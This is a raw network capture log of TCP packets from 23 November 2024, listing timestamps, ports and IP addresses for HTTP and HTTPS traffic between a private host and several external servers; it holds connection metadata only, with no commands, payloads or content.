Nov 23, 2024 18:22:21.770409107 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.770452023 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.770549059 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.770590067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.771131039 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.771178961 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.771243095 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.771298885 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.771877050 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.771928072 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.771995068 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.772037029 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.772603035 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.772654057 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.772703886 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.772749901 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.773319960 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.773365974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.773418903 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.773458958 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.774069071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.774111986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.774142027 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.774183989 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.891801119 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.891993046 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.892045021 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.892112970 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.892157078 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.892237902 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.892282009 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.892868042 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.892915010 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.892983913 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.893024921 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.893608093 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.893657923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.940306902 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.940331936 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.940373898 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.940396070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.940635920 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.940686941 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.940716982 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.940798044 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.941083908 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.941159964 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.941369057 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.941425085 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.941421986 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.941478968 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.941525936 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.941550016 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.941600084 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.941618919 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.941636086 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.942075968 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.942121983 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.942171097 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.942234039 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.942795038 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.942843914 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.942914009 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.943074942 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.943530083 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.943593025 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.943631887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.943820953 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.944310904 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.944372892 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.944437981 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.944555044 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.944602013 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.944636106 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.944737911 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.944864988 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.944876909 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.945015907 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.945192099 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.945199966 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.945307970 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.945748091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.945804119 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.945945978 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.946058989 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.946536064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.946588039 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.946741104 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.946794033 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.947227001 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.947278976 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.947338104 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.947381973 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.947913885 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.947968960 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.948024035 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.948139906 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.948688984 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.948740005 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.948821068 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.948875904 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.949389935 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.949436903 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.949443102 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.949484110 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.950129032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.950190067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.950232983 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.950283051 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.950835943 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.950890064 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.951009989 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.951092005 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.951562881 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.951617002 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.951746941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.951798916 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.952317953 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.952368021 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.952414036 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.953063011 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.953161001 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.953170061 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.953202963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.953778982 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.953824997 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.953877926 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.953926086 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.954519033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.954579115 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.954634905 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.954680920 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.955306053 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.955359936 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.955377102 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.955446005 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.955984116 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.956028938 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.956048965 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.956093073 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.956726074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.956773043 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.956918955 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.957041979 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.957509995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.957573891 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.957602024 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.957650900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.958147049 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.958203077 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.958246946 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.958401918 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.958880901 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.958934069 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.958983898 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.959024906 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.959624052 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.959675074 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.959717989 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.959793091 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.960398912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.960475922 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.960478067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.960515022 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.961085081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.961137056 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.961188078 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.961358070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.961807013 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.961858034 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.961963892 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.962011099 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.962538004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.962635040 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.962682009 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.962696075 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.963253021 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.963306904 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.963365078 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.963413000 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.964029074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.964080095 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.964106083 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.964230061 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.964725971 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.964781046 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.964819908 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.964865923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.965477943 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.965527058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.965549946 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.965599060 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.966207981 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.966255903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.966305017 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.966356039 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.966907024 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.966959000 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.967046022 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.967116117 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.967638969 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.967688084 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.967736959 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.967787981 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.968420029 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.968468904 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.968496084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.968693972 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.969162941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.969217062 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.969260931 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.969300985 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.969851971 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.969978094 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.969988108 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.970021963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.970594883 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.970639944 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.970695019 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.970747948 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.971333027 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.971391916 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.971396923 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.971501112 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.972043991 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.972095013 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.972100019 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.972150087 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.972819090 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.972863913 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.972876072 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.972955942 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.973517895 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.973573923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.973617077 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.973670006 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.974267960 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.974317074 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.974323988 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.974365950 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.974981070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.975033045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.975064039 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.975116014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.975703001 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.975759029 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.975789070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.975838900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.069647074 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.069709063 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.069935083 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.069982052 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.069999933 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.070014954 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.070020914 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.070296049 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.070374012 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.070421934 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.070501089 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.070523024 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.070568085 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.070575953 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.073174000 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.073208094 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.073273897 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.073297977 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.073306084 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.073369026 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.073468924 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.073482990 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.073545933 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:22.073559999 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:22.093879938 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.093945026 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.093996048 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.094049931 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.094130993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.094229937 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.094284058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.094582081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.094666004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.094715118 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.095227957 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.095283985 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.141792059 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.141841888 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.141855955 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.141887903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.142030954 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.142095089 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.142183065 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.142232895 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.142750025 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.142800093 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.142867088 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.142926931 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.143471956 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.143523932 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.143543959 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.143595934 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.144251108 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.144298077 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.144306898 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.144341946 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.144952059 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.145004034 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.145030975 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.145087957 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.145659924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.145713091 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.145745993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.145833015 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.146408081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.146459103 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.146486998 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.146533966 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.147150993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.147202015 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.147239923 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.147289038 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.147855043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.147903919 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.147965908 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.148021936 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.148610115 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.148662090 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.148695946 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.148772955 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.149317026 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.149379015 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.149437904 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.149478912 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.150002003 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:22.150059938 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:22.558180094 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:22.558280945 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:22.558406115 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:22.558651924 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:22.558666945 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:22.747158051 CET	49791	443	192.168.2.4	172.67.162.84
